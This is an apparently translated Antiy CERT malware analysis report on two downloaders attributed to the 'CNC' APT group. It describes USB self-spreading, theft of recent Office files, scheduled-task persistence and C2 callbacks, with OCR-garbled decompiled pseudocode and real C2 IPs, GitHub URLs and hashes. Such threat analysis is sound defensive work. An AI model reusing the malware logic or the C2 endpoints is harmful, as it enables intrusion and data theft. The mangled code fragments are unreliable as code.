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01

overview

Recently, Antiy Emergency Response Center ( Antiy CERT ) discovered two downloaders used by the
CNC organization when sorting out the attack activities . One of the downloaders has the ability to ferry
attacks, using mobile storage devices as One downloader steals files of interest to the attacker; another
downloader communicates using a deceptive C2 node with an untrusted digital certificate.

The CNC organization is currently known to have been discovered as early as 2019. At that time, the
organization was named CNC because the PDB path information of the remote control Trojan it used
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contained cnc_client. The organization mainly targets military and education industries.

02
sample analysis

2.1 Privatelmage.png.exe (Downloader 1)

2.1.1 Sample overview

Privatelmage.png.exe will choose two ways to execute according to whether the file is in the
%localappdata% path.

1. If it is under the %localappdata% path, continuously check whether there is a new device connected; if
so, copy the file itself to the new device so that it can be spread through the removable device.

2. If itis not in the %localappdata% path, first determine whether %localappdata%\ImageEditor.exe

exists:

1) If present, skip subsequent operations and exit.

2) If it does not exist, determine the Internet connection status:

a) If you can connect to the Internet, download the follow-up downloader.

b) If you cannot connect to the Internet, get the file with the .docx or .pptx suffix from the shortcut in the

Recent folder, copy the file to a new hidden folder named after the user name in the current directory, and
replace the . file path name.

2.1.2 Detailed Analysis

Table 2-1 Privatelmage.png.exe

virus name Trojan[Downloader]/Win32.APT
original file PrivatelImage.png .exe (the space is very long, disguised as
name a picture)
MD5 da3d305d1b47c8934d5e1f3296a8efe0
processor AMD AMD64
architecture
File size 1.16 MB (1216000 bytes)
file format Win32 EXE
timestamp 2022-02-23 21:30:27 UTC
digital
. none
signature
Packing type none
compiled Compiler: Microsoft Visual C/C++ (2017 v.15.9)
anguage
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VT first upload 2022-03-26 10:51:26 UTC
time
VT test results 12/70

After the sample is run, it will first obtain the current user name, which will be used in subsequent path
splicing operations.

- -

pcbBuffer = 257; ~ —
GetUserNameW(Buffer, &pcbBufiee);. vaw u *

51128 = mm_load s5i128(&xmmword 7FF65D01502D0);

Figure 2-1 Get the current user name

Get the path of the current file and determine whether it is in the %localappdata% directory.

if (vis)
1
do
{
13->m128i_i8[@] = tolower(v13->ml28i_is[e]);// BEAEZBE#RNIEFE
13 = (__ml128i *)({char *)vi3 + 1);

by
while ( (char *)v13 - (char *)}vi2 != vi14 };
vO = v123.m1281 ub4[1];
16 = v123.m1281 164[0];

/8 = v122.m1281_164[@]; o gy *
} ) ANTIV n

y W E Ldiyg
if ( v9 >= @x10 )
15 -( m1l2Bi * -u‘,

if ( sub_ﬁFé-zaégﬂ{- 15->m128i_i8, v1@, v9, "appdata\\local”, exDuig4) != -1 )// HlEfEiE+ ES B S appdatal\local

Figure 2-2 Determine whether appdata\local is included in the path

If in the %localappdata% directory, all drive strings in the system will be fetched.
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» = sub_13FC5856@((__int64)&off_13FD1E6BO, (__ int64)"in local");
sub_13FC5C138(v15);
147 = mm_load sil28((const m128i *)Bxmmword_13FD162D0);
146[@] = @;
5 = 9ie4;
/116 = @iB4a;
133 = @ie4;
/134 = piB4a;
135 = @i64;
36 = 9i64;
whlle (1)

27.m1281_i64[@]
127.m1281 i64[1]
126.m1281i_i8[@] =
131 = @ie4;
132 = 15164;
130.m1281 18[6] = @;
sub lSFCEEE&B( , @i64, 256i64);
tLogicalDriveStrings u[EIxFFu, r148);

! e fmmm =k — - 1

0i6c4; -

15i64; .
B; ANTIY n

]
M

Figure 2-3 Get all drive strings in the system

Whether a new device is connected is determined by judging whether the previous drive string is the
same as the drive string obtained this time.

F { v135 == (_ ml2Bi *}v136 )

{sub_13FC5CBEB(& 5, (__mi28i *)vi1s, *((_mi28i **)&115 + 1));

%lse if ( ¢ inte4)(*((_OQWORD *)&v115 + 1) - v115) >> 5 == (  int64)(v136 - ( QWORD)v13S) >> 5 )// EF?;%Mﬂ‘l&fiiﬁﬂﬁﬂ:":éﬁiﬁl&%#ﬁﬁ.
Sleep(@xEAGRU) ; Ty n *

ilse

Figure 2-4 Judging whether there is a new device connected

If there is a new device, get the name of the new device, and if the current file does not exist in the new
device, copy the current file to the new device. The indicator word "-firstcry" is then spliced to the
hostname to communicate with the attacker-controlled device. If the current file already exists on the new
device, the indicator word "-alleat" is appended to the hostname.

4/28



Figure 2-5 Copying the sample itself to a new device

The samples communicate with attacker-controlled devices.

T

\
sub_13F33ADAR( (

A h yule 4 2 * .m1281_ie4a[e]), (const JL"ini-request/™, @x1Buisa);// htrp://
“>m1281_{16[.2] = 8;
} =&
11 = (const 1281 *)az; irstcry
if ( (unsigned 54)a2(3] »>= 8 )
= sub_ 13F2D94c0(& » s gned int64)az[2]);// http:// ini-request/win7x64-firstery
L= Bied;
*_ i*) - H
= vi2[1];
[1].m128i_is4[@] = 0is4;
[1].m128i_i64[1] = 7i64;
12->m1281_116[8] = @;
if .m12Bi_i64[1] »= Buisd )
{
w (wol 1 -ml281_is4[@];
if ( (unsigne te2)(2 * al28i_i64[1] + 2) >= @x1000 )
= *(vol M .m1281_i64[0] - 8);
if ( (unsigned t64)( m128i_is4[0] - ( RD) - B) » @xiF )
invalid_parameter_noinfo_noreturn();
}
j i free(vii);
= [ HAR 3
if ( 1.m128i_i64[1] »>= Buis4 )
- :B_
RLDown loadT e(8icd, » word_13F38F4FC, @, @isd);

Figure 2-6 Send the status of the new device back to the control terminal

If it is not in the %localappdata% directory, load the image in the sample resource and
same directory to open.

ini-request

\

dl

ANTIV

release it to the
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1pFileName.m128i_il16[@] = @;
sub_13F7864A@(&1pFileName, L"PrivateImage.png", @x1@ui64);
Resourcel = FindResourcewW(@i64, 1, L"PNG");
Resource = LoadResource(0i64, Resourcel);
v2 = LockResource(Resource);
v3 = SizeofResource(@i64, Resourcel);
p_lpFileName = &lpFileName;
if ( 51128.m128i_i64[1] >= Buik4d )
p_lpFileName = lpFileName.m128i_i64[0];
FileW = CreateFileW(p lpFileName, ©@x48000000u, ©, 0i64, 2u, 6u, 0i64);
WriteFile(FileW, v2, v3, &NumberOfBytesWritten, 0i64);
CloseHandle(FileW);
FreeResource(Resource);
ve = &lpFileName;
if ( s1128.m128i_ie4[1] >= 8uis4 ) © ﬁ?""' E
v6 = lpFileName.m128i_i64[@0]; ANTIY H
ShellExecutek(@ib4, L"open", v6, @i64, 0i64, 5);

Figure 2-7 Load and open the picture in the resource

Images included in the resources section.
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BH Resource Hacker - Privatelmage.prg exe_ - o *

File Edit Yiew Action Help PMG i 1: 1033
y = Dialog f |
DR EBMF -cLQLERPOO
w ||y PNG
W 1:1032
w o) Teon
111033
4 2:1033
O 311033
o 431033
wr 511033
» — ||} lcon Group
wr 104 : 1023
k=L =
Edhar View Binary View ANTIY H
26597 | D3IBB0 1024 = 768 PNG
Figure 2-8 Images included in sample resources
String concatenation is performed first.
sub_13F78694@(&v127, "C:\\Users\\", 9uib4);
V95 = Bv124; /i BPA
if ( vi26 >= ex1@ )
95 = v124.m128i_i64[0]; fg:""'
sub_13F786940(8&v127, v95, vo4); ANTIY
v96 = sub_13F78694@(&v127, "\\Appdata\\Local\\ImageEditor.exe", @x1Eulb4);// C:\Users\win ‘Appdata\Local\ImageEditor.exe

Figure 2-9 String concatenation

Then judge whether %localappdata%\ImageEditor.exe exists, if it exists, skip subsequent operations and
end the process.
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Figure 2-10 Determine whether a file exists by obtaining file attributes

Test the communication with www(.]baidu.com to judge the Internet connection status in the current
environment.

if ( tve9 )
{

if ( InternetCheckConnectionW(L"https://www.baidu.com™, 1lu, @) )

{
sub_13F2D856@((__int64)&off_13F39E6B@, (__ int64)"internet\n");
sub 13F2DF@E@(v108, ( inte4)Buffer, v1@1);// URLtoDownloadFile
}

else

{
sub 13F2D8560(( int64)8off 13F39E6B@, (  int64)"no internet\n");

v182 = sub_13F2D9380(( m128i **)v149, &v142);

sub_13F2D2700(v103, (__ int64)vie2); !/l .docx— . .__.%
! o &

Figure 2-11 Test whether it is connected to the Internet

If the Internet is not available, strings are concatenated to create a hidden folder named after the current
user name in the directory where the sample is located.
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CreateDirectoryW(v18, 0i64);

if ( *((_QWORD *)v2 + 3) >= Buiss )
vl9 = *{const WCHAR **)v2;

SetFileAttributesW(v19, 2u);

/168 = Bi6d;

/169 = 15i64;

LOBYTE(v1G7[@]) = ©;

sub_l13F8767E0(v167, ".docx™, 5i64);

v165 = Bi64;

/166 = 15i64;

LOBYTE(v164[@]) = ©;

sub_13F8767E@(vi64, “.pptx", 5i64);

v20 = Bv151;

if ( *((_QWORD *)&v152 + 1) >= Buie4 )
v20 = (__int128 *)v1s51}

/21 = (char *)v2@ + 2 * v152;

22 = 8v151;

if ( *((_QWORD *)&v152 + 1) >= 8ui6d )
v22 = (__int128 *)v151;

v163 = _mm_load_sil128((const _ m128i *)&xmmword_13F9302EQ);

LOBYTE(vic2[@]) = @;

if ( (unsigned _ intea)((v21 - (char *)v22) >> 1) >= ox10 )

sub_13FB79B4@(v162); ’4! ———
v163.ml28i_ie4[@] = @is4; *
_i64[@] amnv:!::!
sub_13F879ACO(v162, v22, v21); /1 C:\Users\w.. = W\AppData‘\Roaming\Microsoft\Windows\Recent
setlocale(@, "en_US.UTF-8"); /I EEEETE

Figure 2-12 Create a hidden folder

Get the .docx or .pptx suffix files from the shortcut under the Recent folder, and find the recently opened
.docx and .pptx suffix files.

v43 = FindFirstFileW(v42, &FindFileData); // C:\Users’ AppData\Roaming\Microsoft\Windows\Recent\*
v14@ = va3;
if ( va43 = (HANDLE)-1i64 )
{
V157 = 3164;
/158 = @ie4;

while ( 1)

-
{ ,——" ——
9K

(FindFileData.dwFileAttributes & 8x1@) == @
lstremol{FindFileData.cFileName. L".") 88 lstrcmoW(FindFileData.cFileName. L"..") )

Figure 2-13 File search

If found, it will be copied to the created hidden folder, and the file will be named by changing "\" and ":" in
the full path of the file to " ".
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v3iZ = vb4d & @OXFFFFFFIF;
sub_13F5A23DB(v117 - 24);

121 = sub_13F5A4F88();

sub 13F5A8556( _._'_, "copy to rct files");

CopyFileW(1lpExistingFileName, v116, 1);
sub_13F5A23D8(v108);
sub_13F5A23D@(v116 - 12);

5L.Ih_13F5A23DG(;'_ E".:_'_p'_iII;:':.:_;_:'I.cI"'l: - 12};
2 = vl4l; ANTIY u
goto LABEL 187;

Figure 2-14 File Copy

The files collected in the test machine and their naming methods are as follows.

| € Users wi0 Desktop IDA 7.7 S ra4r# ppix 2022/12/16 15:55 PPTX *1*

1 C Users wl0 Desktop wi0 C Users w10 Desktop FHErd3 doox 2022/12/16 15:02 Offgee Crr:@r 2 KB
— Wi p_wilv L Wil P

] €_Users_ w10 _Desktop $Esrarf docx 2022/12/16 15:02 Othed Oy 2 KB

Figure 2-15 Files collected in the test machine

If the Internet is available, check whether the C:\ProgramData\USOshared folder exists, and create the
folder if it does not exist.

Figure 2-16 Create a folder

A malicious follow-on downloader will then be downloaded from
185.25.51.41/control/utility/YodaoCloudMgr , copied to the USOshared folder, and the downloaded file in

%temp% will then be deleted.
99 = sub_13F@C938@((__m128i **)&v167, 56);// YodaoCloudMgr
M sub_13F@C4EBe((_ m128i **)8&v147, 35);// nttp:;‘y’!“’ == =" "1 /control/utility/YodaoCloudMgr
sub_13F@C9388(v149, (-:::.-‘-:," -"'_,2._"_ ) ':. e);// C:\ProgramData\USOshared ﬁp
sub_13F@C938e(( mi128i )& 165, }, / \Users® \AppData Lccalue@or‘abcgﬁ
sub _13FeD1eAB( (const WCHAR *)viez, (const NCHﬂR ‘} 121, (const _ m128i *)viee, va9);

Figure 2-17 The concatenated string is used to download subsequent downloaders
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If the file is successfully downloaded, save it to YodaoCloudMgr under %temp%.

= (“{T_'|--L (_ fastca )(__'|--:, __int64, char *, _ inté4 ¥, ))('(_=- RD *)wv2 + 64i54})(

ifE 7 88 v7 != fwrite(Buffer, 1ui64, v7, =(FILE **)(al + 128)) ) E *
ANTIV

return 8;
return *{ BYTE *)(al + 113) == @;

Figure 2-18 Download and save to local

Copy YodaoCloudMgr from %temp% to C:\ProgramData\USOshared\YodaoCloudMgr.exe and delete the
YodaoCloudMgr file under %temp%.

}
23 = (const WCHAR *)a2;
if ( a2[1].m128i_i64[1] >= Buib4 )
= (const WCHAR *)a2->m128i i64[e@];
24 = {const WCHAR *)al;
if ( al[1].m128i_i64[1] >= Bui64 )
24 = (const WCHAR *)al->m128i i64[0];
CopyFileW(v24, v23, 1);
25 = (const WCHAR *)alj;
if ( a1[1].m128i_i64[1] >= Bui64 )
25 = (const WCHAR *)al->ml128i_i64[0@];
DeleteFileW(v25); _ A
((void (_ fastcall *)(_ int64 *))sub_13F@D19CO)(&vES); n*
if ( v51.m128i i64[1] >= @x10ui6s ) i

Figure 2-19 Copy and delete operations

Create a task plan, add C:\ProgramData\USOshared\YodaoCloudMgr.exe to the task scheduler library,
and execute it every 2 minutes. And construct the return information according to the results of
downloading and creating the task plan: 23Fi45XX means the download is successful, 23Fi45NNXX
means the download fails; 45tDdd43543 means the task plan is successfully created, and 45tDnn43543
means the task plan fails to be created.
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sub_13F2E10A8( (const -::;i. *wi1e2, (const _=128i *)viel, (const =1281 *)viee, (const 21281 *)v99);// T¥vodacC loudMgr
sub_13F2E4AC0(Rv158, lpr e):

LOBYTE(v121) = sub 13me{( onst WCHAR *)8v168);

unkonomn_ libﬂm S(I 8);

:f ( (_BYTE)viol )

sub_13F20694@(Rv172, (const ml281 *)"23Fi45XX", Buisd);
sub_13F20694@(8v172, (const _1'..':;‘. “}"\n", luitd);

/104 = sub_13F200520(v103, &v168, lpFileNase, 22);// BBV 8IS+ BvodacCloudigr. exed 5 0B 8111 5 b
vi55 = vies[2). ll.lll_ili[.],

unknown_libname_4(. )T

unknown_libname MI );.

if (V155 we 1)

sub_13F206540(8v172, (const _ ml2Bi *)"45tDdd43543%, @dBuibd);
}

else

{
/105 = sub 15onscsa(3 )

' = sub 13F2§4DM( 106, “45tDnnd3543%, 11i64);
élse
{ r,.:-' v ——
sub_13F2D6940(&/172, (const _ m128i *)"23Fi4SNNXX", OxAui6d); o, - | *
¥

Figure 2-20 Create a task plan and execute the YodaoCloudMgr.exe file regularly
The task plan created in the test machine is as follows.

+ Pt — il

TR 2R BSNV) #8iH)

«=%|7Ed

O EEitaRs @ pere proremm— e i

> S @ YodaoUpdt E#ti 7 2022/12/6 &1 16:20 B - WSS . TGRS 00:02:00 = | ESHUEFE

[ ® VodaoUpdt etz EM)

(20 |wsm 2¢ 2e |em |Aecncss)

S {EEET | SRS ETA] e,

B PeERES
CAProgramDatatUsOshared\YodaoCloudMgr.exe

Figure 2-21 Created task plan

Get a list of processes in the current environment.

......... S ———— e ——

LOWORD(Elock[8]) = 8; W!EB text “UTF-16LE™, ° , System , smss.exe , CSrss.exe , uininit exe , o5t
sub_13F2064AB((_ w1281 *)Block, (const _ w1281 *)word_13F3BF4FC, @i64);: BOAGOGGM0L4GEES text “UTF-16LE™, “rss.exe , winlogon.exe , services.exe , lsass.exe '
if [ WiSEnumerateProcesseswW(@ié4, @, 1w, ppProcessIinfo, Bplount) ) 0O0E000BB445BER text "UTF- 15|.E" * lam.exe , svchost.exe , vm3dservice.exe , svchost,'
BE0000000446EER text “UTF-16LE™, "exe , svchost.exe , swchost.ewe , svchost.exe , svc'
for [ i = oi68; ; § = (unsigned imt){was + 1) ) BOGOO000044EREA text TUTF-16LE™, "host.exe , swvchost.exe , spoolsv.exe , svchost.exe '
{ A4GBEE text “UTF-16LE™, °, Everything.exe , svehost.exe , VGAuthService.exe '
wii = 33 DOOODODROA4GBED text “UTF-16LE™, ", wetoolsd.exe , WeiPrvSE.exe , dllhost.exe , msdtc'
if ( (unsigred int)i »= pCount ) BOG0GGOG0445BEE text "UTE-16LE™, ".exe , taskhost.exe , spps\.rc exe , dwm.exe , explor’
break; B00000000445BE0 text "UTF-16LE", ‘er.exe , wm3dservice.exe , Lsd exe , Everythin'
LEECE H BEGRRAGEE44GEER text “UTF-16LE™, "g.exe , SearchInde ost :
pProceszhame = (const _ mi2Bi ")ppProcessInfo[@][i].pProcessHams; BRGOREOGE E@ text "UTE-16LE™, "exe , winb4 rmt

wvo = -11643 SOGGGSGG0445EES text "UTF-16LE™, ‘ner.exe , mmc.exe uﬂdle

do DOGEEGG0B44GEES text “UTF-16LE®, ‘r.exe , GoogleCrashH a-nﬂlerg?iﬁ
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Figure 2-22 Get process list

Splice the obtained process list with the previously constructed return information, and use the base64

encoding method to process the spliced content.

sub_13F2E1A6@((  inted) , 8, (struct );
if ( »= 8 )

119 = (__inte4 *)vi91[@];

= (un 8 *)vile + 2 * v191[2];

= (unsigned ) »
if ( 2 »= 8B :]

21 = (unsigned _ints *)vi9i[e];
sub_13F2D84C8( ’ s )i
sub_13F2D6940(&v172, (const 12681 *)"372tk1li73723updin-", ox12uib4d);

= E H
if ( >= @x10 )

2 = (const _ ml2Bi *) .m128i_is4[@];
sub_13F2D6948(& 2y 2, ):
sub_13F2D694@(8 s (const _ml128i *)"\n", 1luibd4);

123 = (__int64)&v172;
if ( .m128i_i64[1] >= @x1leui6s )
= .m1281_is4[e];

= Bv2ee[-vi23];
do
{

= *{_BYTE *) ;
[v123] = *(_ yvi23;
++ 3
}
while ( 'H
do
+Hv5;
while ( [v51 )i
sub_13F2DADF@( » (__int64) - - ); // baseta
£ - ;
if ( »= @x10 )
= (__inted4 *)vizs[e];

= (char *) + [2];

if ( >= @x10 )
= (_int64 ™) CIH

.= _mm_load_sil28((
LOWORD(v173[8]) = @;

sub_13F2092Ca( ( ) - = (char *) );
sub_13F2ES16@(v178E, ’ 27);
= sub_13F2D8418(8&v145, (const y J8off_13F3A82B8, (

Figure 2-23 Splicing the returned information

)&xmmword_13F390208) ;

/ FREHAIENHENERER

JL"allpro=");/

Use URLDownloadToFileW to communicate with the control terminal and return the collected information.
If the creation of the task plan fails, execute C:\ProgramData\USOshared\YodaoCloudMgr.exe through
CreateProcessA. According to static analysis, if YodaoCloudMgr.exe fails to start, it will get the content
from the github repository and execute it after deleting the file.
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URLDownloadToFilew({@iss, 33, 32, 8, @ied);
if ( dword_13F3AB26C == 1 )
{ = {unsigned _ int8 *)sub_13F209388((_ml12Bi **)&v1Es, (cons
sub 13F2EZB‘lB( 134); // CreateProcessA
Sleep(@x7D8u);
135 = sub_13F209388(( m128i **)&v16E, v137);
sub_13F2E1A68(( ;_H} -,1,@:J; 5_PROCESS_INFOW *) /S BEYHE M HEESR
unknown_libname_3((  int6c4)visae);
if ( !dword_13F3A826C }

{
136 = (const WCHAR *}1lpFileMame;
if ( .m1281 164[1] »= Bulg4d )
= 1pFi e[8];
DeleteFilew(vl ),
sub 13F2EBQAB{{ int64)&v16E); [ https://raw.githubusercontent. com/gazelter23ltrivoikpol/questions/main/beautify. js
= Avl 5

t _ m128i *)1pFileName);

3 ;

sub_13F2093B0((_ m128i **)Bv143, Bv157);

sub 13F2D4EBO(v156, Bv1GE);

sub_13F20938@((_m123i **)8vies,

= sub_13F 2[)9388[( --'__L'_ }S. 144, &vise

*Wb 13F2EIBAB{{ ml28i *) {"‘-"— ml28i =)v139, (const ml28i =) {"ﬂ t ml281 *)v137);// download
41 = (unsigned _ ir )suh 13F2DBBEB({ 281 **)&v148, (const ml281 ']-'.- '.'. ime ) 3 -

sub_13F2£2010(v14 ); Y —
suh_13|=2m55r3({_-.r-'-'-j& 168); n *
ANTIY

}
Figure 2-24 Get Content Execution

I

2.2 YodaoCloudMgr.exe (Downloader 2)

2.2.1 Sample overview

YodaoCloudMgr.exe is downloaded and executed by Privatelmage.png.exe, and is mainly used to
download subsequent payloads. During the analysis, it was found that there were related codes such as
file search and startup process inside the file, and the untrusted certificate used by the sample in
communication was also found.

HIEERFEIES:
Serial Number:
69:af:8f.f7:19:5a:3d:ca:6a:d0:87:22:03:b%:aa:2a:d3:12:01:3a
Signature Algorithm: SHA256-RSA

Issuer: C=CN,ST=Fujian,L=Nanping,O=Animations-Ltd,OU=Technical, CN=Yang bin,emailAddress=] 376@163.com
Validity -
Not Before: Jan 14 08:41:12 2022 UTC i~ %
Not After : Jan 14 08:41:12 2023 UTC oy S,

Figure 2-25 Communication using untrusted certificates

2.2.2 Detailed Analysis
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Table 2-2 YodaoCloudMgr.exe file

virus name Trojan[Downloader]/Win32.APT
original file yodaocloudmgr.exe

name -

MD5 c024eb3035dd010de98839a2eb90b46b
processor AMD AMD64

architecture

File size 3.22 MB (3378688 bytes)

file format Win32 EXE

timestamp 2022-01-14 23:47:14 UTC

digital signature none
Packing type none

Icomplled Microsoft Visual C/C++ (2017 v.15.9)
anguage
:{;2 rstupload 5555 03-28 16:26:44 UTC

VT test results 18/71

There is a string to be decrypted in the sample.

PELLML _ LAW|W] T wy

sub_13FF2125@((_ inte4)& s OxBuibd, a3, (const ml28i *IL"Z2VgaGV3aGp");
- d i
if ( =112 mi281 i64[8] »= (unsigned inté4)sil25.m1284 164[1] )
1
sub_13FF20Fs@({&v59, 28.m128i_is4[1], v3, byte 1481BA1AC);
}
else
1
++:1128.m1281 isa[e];
E .

= H
if —.I'I'lﬁai_iﬁfl-[].] »= guled )
= (__ml281 *) .m1281i_isa[e];
-»>m128i 116[v4.m1281 i64[8]] = byte 1461BA1ALC;

5->m1281_i16[v4.m128i_is4[e] + 1] = @;

}. o
= H
if ( =i126.m1284 464[1] - =i128.m1284 i64[@] < @xBuisd )
i
cat_13F8D13Be(& s BxBulbd, ; [const ml281i *)L"raG@V3aZtlRk™, 11i64);
}
else
1
= si128.m128i_ie4[@] + 11;
28.m1281 i64[@] += 11i64; )
V8 = &viE9; —
if { ve.ml28i_iB4[1] »>= Buisd ) n *
7= 1281 *)v69.m128i_ie4[e]; ANTIY
copy_13FAGBEBG((_ ml28i *)({(chs ] + 2 * .m12Bi is4a[@]), (const _ ml2B8i *)L"raGViaZtlRk", exl6ui6a);

Figure 2-26 String with decryption

The string is decrypted through the symmetric encryption XXTEA algorithm.
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for (= @i64; § < a3; *vi5 |= vi4 << (B * viE) )

{ vld = ®"(unsigned _ intd *)(j + a2);
15 = & =[§ »» 2];
v1lE = j++ & 3;
¥
vl7 = (unsigned int *)operator new(@xlBuicd);
key = vl7;
if { wi? )

v19 = BYTE3(v38);

w20 = BYTE3(v38);

*( QWORD *)v17 = Bi64;

*[[_OWORD *Jv17 + 1) = @i64;

w2l = w28 | (vi9 << 8);

w22 = (unsigned int)(ve - 1):

w23 = WORD3I(v3E);

*y17 = (unsigned imt8)v3B | ((BYTEL{v328) | (w21 << B)) << 8);

w24 = BYTELB(v38);

key[1] |= BYTE&(v38) | ((BYTES(v38) | (v23 << B)) << 8);

w25 = BYTEB(v38) | ((BYTE9(v38) | ((v24 | (BYTE11(v38) << 8)) << B)) << 8);
26 = BYTE14(v3B);

cey(2] |= v2s;

key[3] |= BYTE12(v3E) | ((BYTE13(v3B) | ((v26 | (HIBYTE(v3E) << B)) << B)) << B);

:_:.rr = Bx9E3T7IBY * (88 / (unsigned int)va);

if { (_DWORD)vY != 1 BR sum )

i

do

LODWORD( w20} = va - 1;
v3@ = (unsigned int)v22;
vil = & z[v22];
do
{
--u3l;
w29 = (unsigned int)(v29 - 1);
/32 = v3B-- & 33
wIL[1] -= ({_y * sum} + (_z[v29] * key[v32])) * (((4 * _y) * (_=z[v29] > 5)) + ({y »* 3) * (A6 * _z[v29]}))s

y = w3il[1];

while ( (_DWORD)w29 );
"z e ((Cy N sim) + (L2[v22) ® key[v29 B3])) M (((8 % ) " (2[v22] > 8)) + ((y >> 3) ~ (16 * =[v22]));
Eﬂ~_+-_é;51cssﬁ4?;

}
while { sum };
vi = BiG4;

}
w3l = _z[v9 - 1];
vid = & * \3 - 4;
if [ w33 »= w34 - 3 B& v33 <= w34 )
{
v35 = operator new(v3i3 + 1%;
iF { v33 )
do
{
vis[va] = _z[vé 3> 2] 3> (B * (v4 & 3)); o == *
ok e =
while { w4 < w33 );
}

Figure 2-27 Encryption algorithm

Obtain file information through the stat function to determine whether RNGdTMP899 exists.
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= Stat(ve, &v79); // C:\Users\w® = " \AppData\Local\Temp\RNGdTMP899

=7 == 8 || V7 = -1
10 = 51128.m128i_i64[1];
if ( 128.m128i_i64[1] >= 8Bui64d )
{
11 = (void *)v72.m128i_i64[0];
if ( (unsigned __ int64)(2 * si128.m128i_i64[1] + 2) >= exleee )
{
11 = *(void **)(v72.m128i_i64[@] - 8);
if ( (unsigned inte4)(v72.m128i_ie4[@] - (_QWORD) - 8) » @xdF )
invalid_parameter_noinfo_noreturn(); y
} N Ay g—
| I freen; w3 X
if ¢( )

Figure 2-28 Determine whether the RNGdTMP899 file exists in the %temp% path

If the file does not exist, a random string of 15 bytes is generated, and the random string is used for URL

splicing. The byte value is in
"ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijkimnopqrstuvwxyz0123456789+/".
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v2E[3] = -2i64;

vi = 15164;
ThreadLocalStoragePointer =
vE = *ThreadlLocalStoragePointer;

w7 = *(_DWORD *}(*ThreadLocalStoragePointe

iF (v R1) =9 )

*{_DWORD *)(vE + B18) = v7 | 1;
vE = std::_Random_device();

=( DWORD *}(vE + Bx13B4) = -1;
= _DWORD *)(wE + Bx34) = va;

Ve o= 13
a3 = (unsigned

wil = Bx2EFi64;

do
{

B = wvO + @xBCATASES = (w8 ~ (v&

a3 = wij

e
T

»

}
while [ vie };

int

5 DWORD *)(v6 + Bx30) = @x270;

w7 = *(_DWORD
}
if [ (v7 B 2) ==
i

*{_OWORD *

*(_QwoRD *
= (WORD *

Wwh
f
f

}
v25.m1261_i64[8]
vil = 15iB84;

2
-

+

“J{vh + Bxl@);

)

Bxl@) = «7 | 2;
Bx18) = Bis4;
Bx20) = 3Oisd;

Bica;

v2E.m128i_iB4[1] = 15i64;
v27.m1281_iB[8] = 8;

while [ vd== )

i
vi3 = *{_QWORD

4= QHORD

vl = BxdBibd;

for { L = -1i64; 1

wIE[1] = --wiS;

L »»= 13

}

if ([ vi7 == -1
w1lE = sub_13FC726B@((_ intod)vae);

else

B = sub_13FCT2808(v2E,

v28 = v1E;

)

“V(vE + Bx28);
W “Y{ve &« Bx18);
) I[B] = vh o+ Bul;

w2l = Boff_13FFBALDSE;

if { (unsigned

wIl = (_ int64

22 = *{{_BYTE *
vi3 = vIE.m128i_iB4[8];
if ( v2B.ml28i_i64[8] »>= vil )

sub_13FC71578(8v27, vi5, (_inte4)as,

}

elze

{

+viG.m1281_i64[0];

wid = Bu27g

iF ( w11 »= BwiB )

w24 = (_ m12Bi *)v2 llZEi _is4[@];

4-wml2Bi_iB[vi
wid-»m1288 EB[v23 + 1] = a,

}.

2a] =

1 = viE,ml28i_uB4[1];

S
21[1] .m12Bi_i6a[a] = DiG4;
a1[1].w128i_i64[1] - Bi64;

*al = wiT;
8l[1] = w2E;
return a1z

Figure 2-29 Generate 15-byte random string

If the RNGdTMP899 file does not exist in the current environment, create the RNGdTMP899 file.

inted *JNtCurrentTeb()-»ThreadlocalStoragePointer;

“YvE + Bx38);

» BXFFFFFFFF; w25

7T+ 1,

ABCDEFGHI JKLMNOPQRS TUWWI Y Zabcde fghl jklmnopgrs tuveeoy 2812 3456 789+ /
inted ) quword_13FFRALFE »= @xld )

*Voff_13FFAALDE;

wZl 4+ w28 4+ v1d);

I~
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sub_7FFE2A22EF34(&v12);

= pis4;
enFlag = *{ CWORD *)v7;
if { (unsigned __int8)*(_DWORD *)(v7 + 8) && !wsopen_s{&FileHandle, FileName, OpenFlag, a3, 384} }
{
++dword_7FF62A30FC4S; A
_InterlockedOr((volatile signed  int32 *)(as + 28), HIDWORD(OpenFlag)); H *
9 = EileHand] ANTIY

LE

Figure 2-30 Create RNGdTMP899 file

Then write random strings to the file.

}

- - F;II-J-_-i-
¥ ,.l‘r
i V7 v7 1= i Buffe F] i » "-_|j ®*'FILE *=* L)
if (V7 8% fwrite(5u 1ui64 ( ﬁ(;;:ﬂ}E*

raturn A-

Figure 2-31 Write random string

Determine the RNGdTMP899 file attribute, if the file is not a hidden attribute, set it as a hidden attribute.

— g = mm F——u

1leAttributesi = GetFileAttributesW(v1l9);
if ( (FileAttributesi & 2) == @ )
{
11_‘_( *EE:Z..ZF: *)a2 + 3) >= 8uis4 )
v21l = *(const WCHAR **)a2; | _ %;ﬂjpaﬁﬁpf .
SetFileAttributesW(v2l, FileAttributesW | 2);// % : f
} ANTIY E *

s -

Figure 2-32 Modify the RNGdTMP8909 file attribute to hide

Get the random string in RNGdTMP899. The random string generated this time is RLCTEJddUbAJMJR
and spliced into https[:]/45.86.162.114/query=RLCTEJddUbAJMJR/%20%getting,forum.

Figure 2-33 URL concatenation
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According to network behavior observations, the sample will first request spliced
https[:]//45.86.162.114/query=RLCTEJddUbAJMJR/%20%getting,forum, and then request
https[:]//45.86.162.114/images-css/RLCTEJddUbAJMJR/ imagelogo.css gets the data.

Figure 2-34 Splicing URLs

Then every 1 minute, loop request
https[:]//raw.githubusercontent.com/yuiopk1456/beutifymyapp/main/LICENSE. From the URL, it can be
seen that the attacker may transmit data through the github platform after the specified IP fails, and it is
guessed that the transmitted data may be the IP or domain name specified by the attacker after
encryption by the XXTEA algorithm.

while ( 1)
1
sub 13FF199F@(&Bufl);
if ( v67.m128i_i64[1] >= exleuiss )
1
55 = (void *)Bufl.m128i_i64a[e];
if ( (unsigned  int64)(v67.m128i i64[1] + 1) >= ©x1000 )
1
55 = *(void **)(Bufl.m128i_i64[@] - 8);
if ( (unsigned  int64)(Bufl.m128i i64[@] - (_QWORD)vES - B) > @xiF )

invalid parameter noinfo_noreturn();

}
J_j_free(v6s);

} ~
;-%EP{EB@EEUJ; A'\IIYE *

1

Figure 2-35 Execute the code in a loop with an interval of 1 minute

Find the marker position where the data was received.

goto LABEL_28;

for ( L = v4; i->m128i i8[8] !'= 98 || mememp(i, “background-color@", @x1luisd); i = (_ ml2B8i *)((char *)i - 1) )
1
if (i=va)
goto LABEL_28;
h
if (1 ==va)
{ -
3 = sub_13FF1CD48((_ m128i **)&s54, Bufl); - *
